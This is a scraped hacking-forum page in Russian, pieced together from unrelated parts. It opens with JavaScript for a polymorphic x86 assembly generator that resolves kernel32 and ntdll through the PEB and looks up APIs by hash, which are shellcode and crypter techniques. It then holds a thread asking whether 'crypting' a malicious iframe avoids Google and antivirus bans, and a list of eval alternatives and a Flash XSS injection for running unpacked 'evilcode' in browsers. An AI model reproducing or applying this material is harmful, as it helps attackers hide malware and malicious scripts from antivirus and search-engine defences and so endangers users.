    return(arr[Math.floor(Math.random()*arr.length)]);};

function arrRndOrderConact(array){
    return(_.shuffle(array).join(''));};
    
var Register = function (sNameDW, sNameLW, sNameLB, sNameHB) {
    this.name = [sNameDW, sNameLW, sNameLB, sNameHB]; this.using = false; };

RegisterProto = {
    lock: function() { this.using = true;},

    unlock: function() { this.using = false; },

    toString: function(i) {if ( _.isUndefined(i) || i < 0 || i > 3) i = 0; return(this.name[i]);},

    isGeneral: function(){return(this.name[3] !== null);}};

SetRegister = function(i) {if(_.isUndefined(i)||i<0||i>0x7f) i = 0; this.num = i;};

module.exports.Register = Register;
module.exports.Register.prototype = RegisterProto;

SetRegisterProto = {
    arrNames: ['eax', 'ebx', 'ecx', 'edx', 'esi', 'edi', 'ebp'],

    has: function (i) {
        if (_.isUndefined(i) || i < REG_EAX || i > REG_EBP) return(false); return ((this.num & 1 << i)!=0);},
    add: function(i) { 
        if (_.isUndefined(i) || i < REG_EAX || i > REG_EBP) return(false); this.num |= ((1 << i)>>>0); return(true);},
    remove: function(i) { 
        if (_.isUndefined(i) || i < REG_EAX || i > REG_EBP) return(false); this.num &= ~ ((1 << i)>>>0); return(true);},
    toArrayIndex: function() {
        var x = []; _.each(_.range(REG_EBP+1), function(a){ if (this.has(a)) x.push(a)}, this); return(x); },
    toArrayIndexInverse: function() {
        var x = []; _.each(_.range(REG_EBP+1), function(a){ if (!this.has(a)) x.push(a)}, this); return(x); },
    toArrayNamesInverse: function() {return(_.map(this.toArrayIndexInverse(), function(x){ return (this.arrNames[x])}, this));},
    toArrayNames: function() {return(_.map(this.toArrayIndex(), function(x){ return (this.arrNames[x])}, this));},
    getInt: function () {return(this.num);},
    setInt: function (i) {this.num = i; return (true);},
    not: function() {this.num = ((~ this.num >>> 0) & 0x7f); return(true);}};

module.exports.SetRegister = SetRegister;
module.exports.SetRegister.prototype = SetRegisterProto;
SetRegister.prototype = SetRegisterProto;

function Registers() {
    var rn = [['eax', 'ax', 'ah', 'al'], ['ebx', 'bx', 'bh', 'bl'], ['ecx', 'cx', 'ch', 'cl'], ['edx', 'dx', 'dh', 'dl'], 
    ['esi', 'si', null, null ], ['edi', 'di', null, null], ['ebp', 'bp', null, null]];
    this.container = []; this.used = new SetRegister();
    _.each(rn, function(x, y) { this.container[y] = new Register(x[0], x[1], x[2], x[3]); }, this);};

RegistersProto = {

    objToIndex : function (a) {
    var b = null; _.find(this.container, function (x, y) { if (x === a) b=y; return (x === a);}, this); return(b);},

    arrIndexToArrObj : function (a) {
    if (_.isUndefined(a) || (!_.isArray(a)) || _.find(a, function(x) {if (x>REG_EBP || x<REG_EAX) return(true);})) return(null); 
    return(_.map(a, function(x) { return(this.container[x]); }, this))},

    getIndexByName : function (sName){
    var num = NaN; _.find(this.container, function(x, y) { if (x.name[0]===sName) {num = y; return(true);} }, this); return (num);},

    getByIndex : function (i) { if (_.isUndefined(i) || i < REG_EAX || i > REG_EBP) return(null); return(this.container[i]);},

    getArrFreeIndex : function () { return(this.used.toArrayIndexInverse()); },

    getArrFreeName : function () {return(this.used.toArrayNamesInverse());},

    getArrFreeObj : function (){return(_.filter(this.container, function(x) {return(!x.using);}, this));},

    getUsedIndex : function () {return(this.used.toArrayIndex());},

    getUsedNames : function() {return(this.used.toArrayNames());},

    getUsedObj : function () {return(this.arrIndexToArrObj(this.used.toArrayIndex()));},
    
    getFreeIndex : function(flags) {
        var  rs = this.getArrFreeObj(), r, res; 
        if (flags & USE_ONLY_GENERAL_REGS) rs = _.filter(rs, function(x) {return(x.isGeneral());}, this); 
        if (!_.size(rs)) return(NaN); 
        r = arrRndValue(rs); 
        if (flags & LOCK_REG) r.lock(); 
        res = this.objToIndex(r);
        if (!(flags & DONT_ADD_TO_LIST)) this.used.add(res); 
        return(res);
    },

    getFreeObj : function(flags) {
        var  rs = this.getArrFreeObj(), r; 
        if (flags & USE_ONLY_GENERAL_REGS) rs = _.filter(rs, function(x) { return(x.isGeneral()); }, this); 
        if (!_.size(rs)) return(null); 
        r = arrRndValue(rs); 
        if (flags & LOCK_REG) r.lock();
        if (!(flags & DONT_ADD_TO_LIST)) this.used.add(this.objToIndex(r)); 
        return(r);
    }
}

module.exports.Registers = Registers;
module.exports.Registers.prototype = RegistersProto;
Registers.prototype = RegistersProto;

function Variable (sName, iSize) {
    this.name = sName; this.use = false; this.size = iSize;};

module.exports.Variable = Variable;

function Variables () {
    this.container = new Array();};
    
VariablesProto = {

    add : function (sName, iSize) {if (!sName) return(null); if (!iSize) iSize = 4; if (!this.isExists(sName)) return(this.container.push(new Variable(sName, iSize))); return(null);},

    isExists : function (sName) {
    return((!_.isUndefined(sName)) && (_.find(this.container, function(x){ return (x.name === sName) }, this)));},

    toString : function (sName) {
    return(_.reduce(_.shuffle(this.container), function (m, x) {return(m+'  local   '+x.name+this.getAsmType(x.size)+'\n')}, '', this));},

    getAsmType : function(i) {
    var obj = {'1':':Byte', '2':':WORD', '4':':DWORD', '8':':QWORD'}; if (_.isUndefined(i) || i < 1 || (!_.isNumber(i))) return(null);
    if (_.has(obj, i)) return(obj[i]); return ('['+i.toHex()+']:BYTE');}};

module.exports.Variables = Variables;
Variables.prototype = VariablesProto;
module.exports.Variables.ptototype = VariablesProto;

//module.exports.Variables.ptototype = VariablesProto;
function ExecutionEnvironment(sName, sCallConv, arrParam) {
    var f;
    this.regs = new Registers(); this.vars = new Variables(); this.name = sName; 
    this.callconv = sCallConv;
    if (sCallConv == 'stdcall') { this.regs.container[REG_EBP].lock(); };
    this.tableCmd = [];
    f = function (p, f) {
        f.emit([['add', p[0].s, '1'], ['sub', p[0].s, '-1'], ['inc', p[0].s]][_.random(2)]); return(true);}
    this.tableCmd.push(['inc', ['r8'], 1, f]); 
    this.tableCmd.push(['inc', ['r16'], 1, f]); 
    this.tableCmd.push(['inc', ['r32'], 1, f]); 
    this.tableCmd.push(['inc', ['m32'], 1, f]);
    f = function (p, f) {
        f.emit(['add', p[1].s, p[0].s]); return(true);};
    this.tableCmd.push(['add', ['c8', 'r8'], 2, f]); 
    this.tableCmd.push(['add', ['c16', 'r16'], 2, f]); 
    f = function (p, f) {
        f.emit([['add', p[1].s, p[0].s], ['lea', p[1].s, '['+ p[1].s+'+'+unchainConst(p[0].s)+']']][_.random(1)]); return(true);};
    this.tableCmd.push(['add', ['c32', 'r32'], 2, f]);
    f = function (p, f) {f.emit([['add', p[1].s, p[0].s], ['lea', p[1].s, '['+p[0].s+'+'+p[1].s+']']][_.random(1)]); return(true);}
    this.tableCmd.push(['add', ['r32', 'r32'], 2, f]);
    f = function (p, f) {
        f.emit([['push', p[0].s, ';', 'pop', p[1].s], ['mov', p[1].s, p[0].s]][_.random(1)]); return(true);};
    this.tableCmd.push(['load', ['m32', 'r32'], 2, f]); 
    this.tableCmd.push(['load', ['r32', 'm32'], 2, f]); 
    this.tableCmd.push(['load', ['r32', 'r32'], 2, f]); 
    this.tableCmd.push(['load', ['c32', 'r32'], 2, f]); 
    this.tableCmd.push(['load', ['c32', 'm32'], 2, f]);
    f = function (p, f) {
        f.emit(['push', p[0].s, ';', 'pop', p[1].s]); 
        return(true);
    };
    this.tableCmd.push(['load', ['m32', 'm32'], 2, f]);
    f = function (p, f) {
        f.emit([['add', p[0].s, '-0x1'], ['sub', p[0].s, '0x1'], ['dec', p[0].s], ['lea', p[0].s, '['+p[0].s+'-0x1]']][_.random(3)]); 
        return(true);
    };
    this.tableCmd.push(['dec', ['r8'], 1, f]); this.tableCmd.push(['dec', ['r16'], 1, f]); this.tableCmd.push(['dec', ['r32'], 1, f]);
    f = function(p, f) { 
        f.emit([['test', p[0].s, p[0].s], ['cmp', p[0].s, (0).toHex()], ['or', p[0].s, p[0].s]][_.random(2)]);
        return(true);
    };
    this.tableCmd.push(['checkz', ['r8'], 1, f]); 
    this.tableCmd.push(['checkz', ['r16'], 1, f]); 
    this.tableCmd.push(['checkz', ['r32'], 1, f]);
    f = function(p, f) {
        f.emit([['mov', p[0].s, '0x0'], ['push', '0x0', ';', 'pop', p[0].s], ['and', p[0].s, '0x0'], ['xor', p[0].s, p[0].s], ['sub', p[0].s, p[0].s]][_.random(4)]); 
        return(true)
    };
    this.tableCmd.push(['loadz', ['r32'], 1, f]);
    f = function(p, f) { 
        f.emit(['movzx', p[1].s, p[0].s]); 
        return(true)
    };
    this.tableCmd.push(['loadzx', ['m8', 'r32'], 2, f]);
    this.tableCmd.push(['loadzx', ['m16', 'r32'], 2, f]);
    f = function(p, f) {
        var r;
        if (_.random(1)) {
            f.emit(['cmp', p[1].s, p[0].s]);
        } else {
            r = f.getFreeReg(LOCK_REG); 
            f.cmd('loadzx_m16$r32', [unchainMem(p[1].s), r.i]);
            f.emit(['cmp', r.s, (p[0].i).toHex()]); 
            r.o.unlock();
        }; 
        return(true);
    };
    this.tableCmd.push(['check', ['c16', 'm16'], 2, f]); 
    f = function(p, f) { 
        f.emit(['cmp', p[1].s, p[0].s]); return(true);
    };
    this.tableCmd.push(['check', ['c32', 'm32'], 2, f]); 
    this.tableCmd.push(['check', ['m32', 'r32'], 2, f]);
    this.useForResult = null; this.params = arrParam; this.code = ''; this.settings = {fTrashGen: false};
};

ExecutionEnvironmentProto = {
    emit : function (line) {
    ax = []; ay= []; if (_.isString(line)) {this.code+=line;return(line);} if (!_.isArray(line)) return(null);
    _.each(line, function(x, i, arr) { if (x == ';') { ay.push(ax); ax = []; return(0); } ax.push(x); } , this); if (_.size(ax)) ay.push(ax); 
    this.code+=_.reduce(ay, function(m, x) { var s =''; if(_.size(x)){s='    '+pad(x[0], 8); 
    if (_.size(x) > 1) { s += x.slice(1).join(', ');}} return(m+s+'\n');}, '', this);return(true);},

    finalize : function(r) {
    if (this.callconv == 'stdcall') {
        var sResultType, bSaveUsedRegs = _.random(1), optimize = _.random(1);
        regz = this.regs.getUsedIndex();
        if (bSaveUsedRegs && _.isNumber(this.useForResult)) {
            if (this.useForResult == REG_EAX && optimize ) {this.regs.used.remove(REG_EAX);} 
            else { this.vars.add('iResult'); this.cmd('load_r32$m32', [this.useForResult, 'iResult']); }; 
        } else { 
            this.vars.add('iResult');
            if (_.isNumber(this.useForResult)) {this.cmd('load_r32$m32', [this.useForResult, 'iResult']);} else {
                if (!this.vars.isExists(this.useForResult)) {this.cmd('load_m32$m32', [this.useForResult, 'iResult']);};};
        };
        if (bSaveUsedRegs) {
            this.code = _.reduce(this.regs.getUsedNames(), function(memo, i) {return('    push    '+i+'\n'+memo+'    pop     '+i+'\n');}, this.code, this);}
        else {this.code = '    pusha\n'+this.code+'    popa\n';};
        if (!(optimize && bSaveUsedRegs && this.useForResult == REG_EAX)) {this.cmd('load_m32$r32', ['iResult', REG_EAX]); };
        this.code = 'proc    '+this.name+' '+this.params.join(', ')+'\n'+this.vars+this.code+'    ret\nendp\n';
        return (true);};
    return(false);},

    setUseForResult : function(r) {if (_.isString(r) || _.isNumber(r)) { this.useForResult = r; return(true); }; return(false); },

    toString : function () {return(this.code);},

    toType : function(t, v) {
    var getRSZ, isMem, toMem, toReg, oTableType; getRSZ = function(a) { return((a>>3)&3); };
    isMem = function (a){ return(_.isString(a) ? '['+a+']': null); };
    toMem = function (m, i) { var obj = {'0':'DWord', '1':'Word', '2':'Byte'}, p; if (_.isUndefined(i)||(!(p = isMem(m)))||(!_.isNumber(i))) 
    return(null); if (_.has(obj, i)) return({s:obj[i]+' '+p, o: null, i:null}); return(null); }
    toReg = function (p, ee) { return({i: p, o: ee.regs.getByIndex(p&7), s: ee.regs.getByIndex(p&7).toString(getRSZ(p))});};
    // 
    oTableType = {
        'm32': function (p, ee) {return(toMem(p, MEM32));}, 
        'm16': function (p, ee) {return(toMem(p, MEM16));}, 
        'm8':  function (p, ee) {return(toMem(p, MEM8));}, 
        'r32': function (p, ee) {return((_.isUndefined(p) || (p<REG_EAX) ||p>REG_EBP) ? null:toReg(p, ee));},
        'r16': function (p, ee) {return((_.isUndefined(p) || (getRSZ(p)!==REG_LOWORD)) ? null:toReg(p, ee));},
        'r8': function (p, ee) {return((_.isUndefined(p) || (getRSZ(p)!==REG_HIBYTE&&getRSZ(p)!==REG_LOBYTE)) ? null:toReg(p, ee))},
        'c32': function (p, ee) { return(((!_.isUndefined(p))&&_.isNumber(p)) ? {o:null,s:'DWORD ' + p.toHex(),i:p} : (_.isString(p) ? {o:null, s:p, i:null}: null) )},
        'c16': function (p, ee) { return(((!_.isUndefined(p))&&_.isNumber(p)) ? {o:null,s:'WORD '  + p.toHex(),i:p} : (_.isString(p) ? {o:null, s:p, i:null}: null) )},
        'c8': function (p, ee)  { return(((!_.isUndefined(p))&&_.isNumber(p)) ? {o:null,s:'BYTE '  + p.toHex(),i:p} : (_.isString(p) ? {o:null, s:p, i:null}: null) )}
    };
    return(_.has(oTableType,t)?oTableType[t](v,this):null);
},

    cmd : function(name, params) {
        var p = [], c = _.find(this.tableCmd, function(x) { return ( (!_.size(x[1])) || (x[0]+'_'+x[1].join('$')===name));}, this);
        if ((!c)||(!_.isFunction(c[3]))) return(false); _.each(c[1], function (x, i) { var v = this.toType(x, params[i]); 
        if (v) p.push(v);}, this); if (_.size(p)!==c[2]) return(false); c[3](p, this); return(true);},
    
    getFreeReg: function(f) {
    return(this.toType('r32', this.regs.getFreeIndex(f)));}};

module.exports.ExecutionEnvironment = ExecutionEnvironment;
module.exports.ExecutionEnvironment.prototype = ExecutionEnvironmentProto;
ExecutionEnvironment.prototype = ExecutionEnvironmentProto;

tablecall.js файл

Code:Copy to clipboard

var pad = require('./modules/node-pad/lib/pad.js');
var _ = require('./modules/underscore/underscore.js');
var p = require('./platform.js');

function nameptrfnc(v) {
    if (_.isObject(v) && _.has(v, 'lib') && _.has(v, 'fnc'), _.isString(v.lib), _.isString(v.lib)) {
        return('p'+v.fnc+'_'+v.lib.replace(/\.dll/gi, ''))}};

module.exports = nameptrfnc;

function namehandlelib(slib) {
    if (_.isString(slib)) return('h'+slib.replace(/\.dll/gi, ''));};

module.exports = namehandlelib;

function namestrzlib(slib) {
    if (_.isString(slib)) return('sz'+slib.replace(/\.dll/gi, ''));};

module.exports = namestrzlib;

function genAPIStruct(ta) {
    return (_.reduce(_.shuffle(ta), function(memo, val) { return (memo + pad(' '+nameptrfnc(val), 40)+' dd ?\n'); }, 'struct stAPITable\n') + 'ends\n');};

module.exports.genAPIStruct = genAPIStruct;

toHex = function(x) {
    return('0x'+x.toString(16));};

CodeSnippet = function(name, callconv, params, fSnippet, prmz) {
    var ee = new p.ExecutionEnvironment(name, callconv, params);
    fSnippet(ee, ee.regs, ee.vars, prmz);
    ee.finalize();
    return({e : ee, code: ee.code, buffer: null});};

module.exports.CodeSnippet = CodeSnippet;

var fHashRor7Xor = function (e, r, v) {
    var r1 = e.getFreeReg(p.USE_ONLY_GENERAL_REGS|p.LOCK_REG), r2 = e.getFreeReg(p.LOCK_REG);
    e.cmd('load_m32$r32', ['strz', r2.i]);
    e.cmd('load_c32$r32', [0, r1.i]);
    e.emit(['push',''+r1.s]);
    e.emit('.CalcHash:\n');
    e.emit(['ror', r1.s, 7]);
    e.emit(['xor','[esp]', r1.s]);
    e.emit(['mov', e.toType('r8', r1.i+p.REG_R8L).s,  'Byte ['+r2.s+']']);
    e.cmd('inc_r32', [r2.i]);
    e.cmd('checkz_r8', [r1.i+p.REG_R8L]);
    e.emit(['jnz','.CalcHash']);
    e.emit(['pop','eax']);
    e.setUseForResult(p.REG_EAX);};

var fGetNtdll = function (e, r, v) {
    var r1, r2, r3, r4;
    r1 = e.getFreeReg(p.LOCK_REG);
    e.cmd('load_m32$r32', ['fs:0x30', r1.i]);
    r1.o.unlock();
    r2 = e.getFreeReg(p.LOCK_REG);
    e.cmd('load_m32$r32', [r1.s+'+0xC', r2.i]);
    r2.o.unlock();
    r3 = e.getFreeReg(p.LOCK_REG);
    e.cmd('load_m32$r32', [r2.s+'+0x1C', r3.i]);
    r3.o.unlock();
    e.setUseForResult(r3.s+'+0x8');};

var fGetK32 = function (e, r, v){
    var reg1, reg2, reg3, reg4, reg5; c = _.shuffle([0x6b, 0x4b]);
    e.vars.add('iResult');
    reg1 = e.getFreeReg(p.LOCK_REG);
    e.cmd('load_m32$r32', ['fs:0x30', reg1.i]);
    reg1.o.unlock();
    reg2 = e.getFreeReg(p.LOCK_REG);
    e.cmd('load_m32$r32', [reg1.s+'+0xC', reg2.i]);
    reg2.o.unlock();
    reg3 = e.getFreeReg(p.LOCK_REG);
    e.cmd('load_m32$r32', [reg2.s+'+0x1C', reg3.i]);
    e.emit('.NextModule:\n');
    e.cmd('load_m32$m32', [reg3.s+'+0x8', 'iResult']);
    reg4 = e.getFreeReg(p.LOCK_REG);
    e.cmd('load_m32$r32', [reg3.s+'+0x20', reg4.i]);
    e.cmd('load_m32$r32', [reg3.s, reg3.i]);    
    reg5 = e.getFreeReg(p.LOCK_REG|p.USE_ONLY_GENERAL_REGS);
    e.cmd('loadzx_m8$r32', [reg4.s+'+0x18', reg5.i]);
    e.cmd('checkz_r32', [reg5.i]);
    e.emit(['jne', '.NextModule']);
    e.cmd('loadzx_m8$r32', [reg4.s, reg5.i]);
    e.emit(['cmp', reg5.s, toHex(c[0]), ';', 'je', '.Found_K32', ';', 'cmp', reg5.s,  toHex(c[1]), ';', 'jne', '.NextModule']);
    e.emit('.Found_K32:\n');
    e.setUseForResult('iResult');};

function genData(e, buff, memdest) {
    var i = 0, r = e.getFreeReg(LOCK_REG);
    e.emit(['lea', r.s, '['+memdest+']']);
    while( i < buff.length){
        if ((buff.length - i - 1) > 4) {
            e.cmd('load_c32$m32', [p.BytesToDword(buff[i], buff[i+1], buff[i+2], buff[i+3]), r.s]); i+=4; e.cmd('add_c32$r32', [4, r.i]);
        } else { e.emit(['mov', 'BYTE ['+r.s+']', toHex(buff[i])]); i++; if (i !== buff.length) { e.cmd('inc_r32', [r.i]);}; }; }; r.o.unlock();};

module.exports.genData = genData;

function fAltGetProcAddress (e, r, v){
    var r1;
    e.vars.add('iResult');
    r1 = e.getFreeReg(p.LOCK_REG);
    eval(_.shuffle(["e.cmd('load_c32$m32', [0, 'iResult'])", "e.cmd('load_m32$r32', ['hLib', r1.i])"]).join(';'));
    e.cmd('check_c16$m16', [0x5a4d, r1.s]);
    e.emit(['jne', '.End']);
    r2 = e.getFreeReg(p.LOCK_REG);
    e.cmd('loadzx_m16$r32', [r1.s+'+0x3c', r2.i]);
    e.cmd('add_r32$r32', [r1.i, r2.i]);
    e.cmd('check_c32$m32', [0x4550, r2.s]);
    e.emit(['jne', '.End']);
    r3 = e.getFreeReg(p.LOCK_REG);
    e.cmd('load_m32$r32', [r2.s+'+0x78', r3.i]);
    r2.o.unlock();
    e.cmd('add_r32$r32', [r1.i, r3.i]);
    r4 = e.getFreeReg(p.LOCK_REG);
    e.cmd('load_m32$r32', [r3.s+'+0x18', r4.i]);
    r5 = e.getFreeReg(p.LOCK_REG);
    e.emit(['push', r3.s]);
    e.cmd('loadz_r32', [r5.i]);
    r6 = e.getFreeReg(p.LOCK_REG);
    e.cmd('load_m32$r32', [r3.s+'+0x20', r6.i]);   
    r3.o.unlock(); 
    e.cmd('add_r32$r32', [r1.i, r6.i]);
    e.emit('.MainLoop:\n');
    r7 = e.getFreeReg(p.LOCK_REG);
    e.cmd('load_m32$r32', [r6.s, r7.i]);
    e.cmd('add_r32$r32', [r1.i, r7.i]);
    e.emit(['push', 'eax']);
    e.emit(['stdcall', '[fHashProc]', r7.s]);
    e.cmd('check_m32$r32', ['iHashVal', p.REG_EAX]);
    e.emit(['pop', 'eax']);
    e.emit(['jz', '.FoundProcname']);
    eval(_.shuffle(["e.cmd('add_c32$r32', [0x4, r6.i])", "e.cmd('inc_r32', [r5.i])", "e.cmd('dec_r32', [r4.i])"]).join(';'));
    e.cmd('checkz_r32', [r4.i]);
    e.emit(['jnz', '.MainLoop']);
    e.emit(['pop', e.getFreeReg().s]);
    e.emit(['jmp', '.End']);
    e.emit('.FoundProcname:\n');
    r7.o.unlock(); r6.o.unlock(); r4.o.unlock();
    r8 = e.getFreeReg(p.LOCK_REG);
    e.emit(['pop', r8.s]);
    eval("e.emit(['shl', r5.s, 0x1])");
    e.emit(['add', r5.s, (e.toType('m32', r8.s+'+0x24')).s]);
    r9 = e.getFreeReg(p.LOCK_REG);
    e.cmd('loadzx_m16$r32', [r5.s+'+'+r1.s, r9.i]);
    eval(["e.emit(['shl', r9.s, 0x2]); e.cmd('add_r32$r32', [r1.i, r9.i]);", 
        "e.emit(['lea', r9.s, '['+ r9.s+'*4+'+r1.s+']']);"][_.random(1)]);
    e.emit(['add', r9.s, (e.toType('m32', r8.s+'+0x1C')).s]);
    r8.o.unlock(); r10 = e.getFreeReg(p.LOCK_REG);
    e.cmd('load_m32$r32', [r9.s, r10.i]);
    e.cmd('add_r32$r32', [r1.i, r10.i]);
    e.cmd('load_r32$m32', [r10.i, 'iResult']);
    e.emit('.End:\n');  
};

function tableApiUnique (ta) {
    return(eval('[ '+(_.uniq(_.map(ta, function(x) { return(JSON.stringify(x));}))).join(', ')+' ]'));};

function tableApiHasLib(ta, sDll) {
    return (_.size(_.where(ta, {lib:sDll})) > 0);};

function tableApiHasUserLibs(ta){
    return(_.find ( ta, function(value) { return ( value.lib !== 'kernel32.dll' && value.lib !== 'ntdll.dll') }) === null);};

function tableApiGetUserLibs(ta) {
     return(_.filter(_.unique(_.pluck(ta, 'lib')), function(value) { return (value !== 'kernel32.dll' && value !== 'ntdll.dll') }));};

var oGetNtdllProc = CodeSnippet('GetNtdll', 'stdcall', [], fGetNtdll);
var oGetK32Proc = CodeSnippet('GetK32', 'stdcall', [], fGetK32);
var oGetHashProc = CodeSnippet('GetHashSz', 'stdcall', ['strz'], fHashRor7Xor);
var oAltGetProcAddress = CodeSnippet('AltGetProcAddressByHash', 'stdcall', ['hLib', 'fHashProc', 'iHashVal'], fAltGetProcAddress);

function _rotr (value, shift) {
    if ((shift &= 31) == 0) return value;
    return ((value >>> shift) | (value << (32 - shift)));};

function hash_ror7xor(b){
    var r = 0, x = 0;
    for (i = 0; i<_.size(b); i++) { x = _rotr(x, 7); r ^= x; x = x & 0xffffff00; x |= b[i]>>>0; }; 
        return( (r^=_rotr(x, 7))>>>0);};

function followApiTable(e, ta){
    var bufflib,  r = e.regs, v = e.vars;
    reg_addr = e.toType('r32', [p.REG_EBX, p.REG_ESI, p.REG_EDI][_.random(2)]); 
    reg_addr.o.lock();
    if (tableApiHasUserLibs(ta)) {
        ta.push({fnc: 'LoadLibraryA', lib: 'kernel32.dll'});};
    ta = tableApiUnique(ta);
    v.add('pGetHashSz');
    e.cmd('load_m32$r32', ['pMyAddr', reg_addr.i]);
    e.emit(['lea', reg_addr.s, '['+reg_addr.s+'+GetHashSz]']);
    e.cmd('load_r32$m32', [reg_addr.i, 'pGetHashSz']);
    if (tableApiHasLib(ta, 'kernel32.dll')) {
        e.vars.add(namehandlelib('kernel32.dll'));
        e.emit(['call', 'GetK32']);
        e.cmd('load_r32$m32', [p.REG_EAX, namehandlelib('kernel32.dll')]);};
    if (tableApiHasLib(ta, 'ntdll.dll')) {
        e.vars.add(namehandlelib('ntdll.dll'));
        e.emit(['call', 'GetNtdll']);
        e.cmd('load_r32$m32', [p.REG_EAX, namehandlelib('ntdll.dll')]);};
    e.vars.add('APITable',_.size(ta)*4);
    _.each(tableApiGetUserLibs(ta), function(lib) { 
        e.emit(['stdcall', 'AltGetProcAddressByHash', '['+namehandlelib('kernel32')+']', reg_addr.s, toHex(hash_ror7xor(new Buffer('LoadLibraryA', 'utf-8')))]);
        e.cmd('load_r32$m32', [p.REG_EAX, 'APITable+stAPITable.pLoadLibraryA_kernel32']);
        var s, bufflib, ro;
        s = namestrzlib(lib);
        bufflib = new Buffer(lib+'\0', 'utf-8');
        v.add(s, _.size(bufflib));
        genData(e, bufflib, s);
        v.add(namehandlelib(lib));
        ro = e.getFreeReg(p.LOCK_REG);
        e.emit(['lea', ro.s, '['+s+']'])
        e.emit(['stdcall', 'DWord [APITable+stAPITable.pLoadLibraryA_kernel32]', ro.s]); ro.o.unlock();
        e.cmd('load_r32$m32', [p.REG_EAX, namehandlelib(lib)]);
        }, this);
    _.each(ta, function(value) {
        if (!(tableApiHasUserLibs(ta) && value.fnc === "LoadLibraryA")) {
            e.emit(['stdcall', 'AltGetProcAddressByHash', '['+namehandlelib(value.lib)+']', reg_addr.s, toHex(hash_ror7xor(new Buffer(value.fnc, 'utf-8')))]);
            e.cmd('load_r32$m32', [p.REG_EAX, 'APITable+stAPITable.'+nameptrfnc(value)]);}
        }, this);
    reg_addr.o.unlock();
    return(genAPIStruct(ta));};
    
module.exports.followApiTable = followApiTable;
module.exports.procz =  [oGetNtdllProc, oGetK32Proc, oGetHashProc, oAltGetProcAddress];
Спасет ли крипт ифрейма от бана гуглем и(или) АВ?
ID: 6764df13b4103b69df3718c6
Thread ID: 20565
Created: 2010-11-04T12:18:50+0000
Last Post: 2010-11-29T20:56:33+0000
Author: salatin
Replies: 15 Views: 5K

Уважаемые форумчане, собственно назрел такой вопрос, спасет ли крипт ифрейма от бана домена гуглем и(или) АВ?
Если нет, то к чему вообще его криптуют?

P.S. не судите строго если ошибся разделом, вроде как к криптографии относится сабж.

Все альтернативы eval в JS
ID: 6764df13b4103b69df3718bc
Thread ID: 23888
Created: 2013-02-07T16:43:13+0000
Last Post: 2013-03-29T01:23:07+0000
Author: Aels
Replies: 10 Views: 5K

Это обобщенная заметка, попытка собрать все вместе.
Итак.
наш evilcode = 'alert(/damagelab/)';
Подразумевается, что это строка, собранная анпакером, и нам нужно ее исполнить в браузере.
Варианты следующие:

Code:Copy to clipboard

eval(evilcode)

Code:Copy to clipboard

setTimeout(evilcode,0)

Code:Copy to clipboard

clearInterval(setInterval(evilcode,0))

Code:Copy to clipboard

a=eval;a(evilcode)

Code:Copy to clipboard

location.href='javascript:'+evilcode

*ограничение - максимальная длинна url.

Code:Copy to clipboard

document.write('<script>'+evilcode+'</script>')

Code:Copy to clipboard

document.write('<img src=x onerror="'+evilcode+'">')

Code:Copy to clipboard

[evilcode].map(eval)

*не работает в ие<9

Code:Copy to clipboard

[]["filter"]["constructor"](evilcode)()

*не работает в ие<9

Code:Copy to clipboard

Function(evilcode)()

- сокращенный вариант примера от neko.

Инжект флешем:
html:

Code:Copy to clipboard

<embed src="evil.swf" type="application/flash" />

код флешки:

Code:Copy to clipboard

class XSS {public static function main() { 
flash.Lib.getURL(new flash.net.URLRequest(flash.Lib._root.url||"javascript:alert(/damagelab/)"),flash.Lib._root.name||"_top"); 
}}

*пример, в общем-то, сперт от сюда: http://html5sec.org/#79
В хроме он не работает, т.к. флешь там особенный, и ему это запрещено.

И на последок, html-js-перевертыш от меня.

Code:Copy to clipboard

/*<script src="#"></script><!-- */
/* now write any js below */
alert(/works fine/);
/* -->
<h1>normal html goes here</h1>
<!--*/

В данном случае, весь js содержится за пределами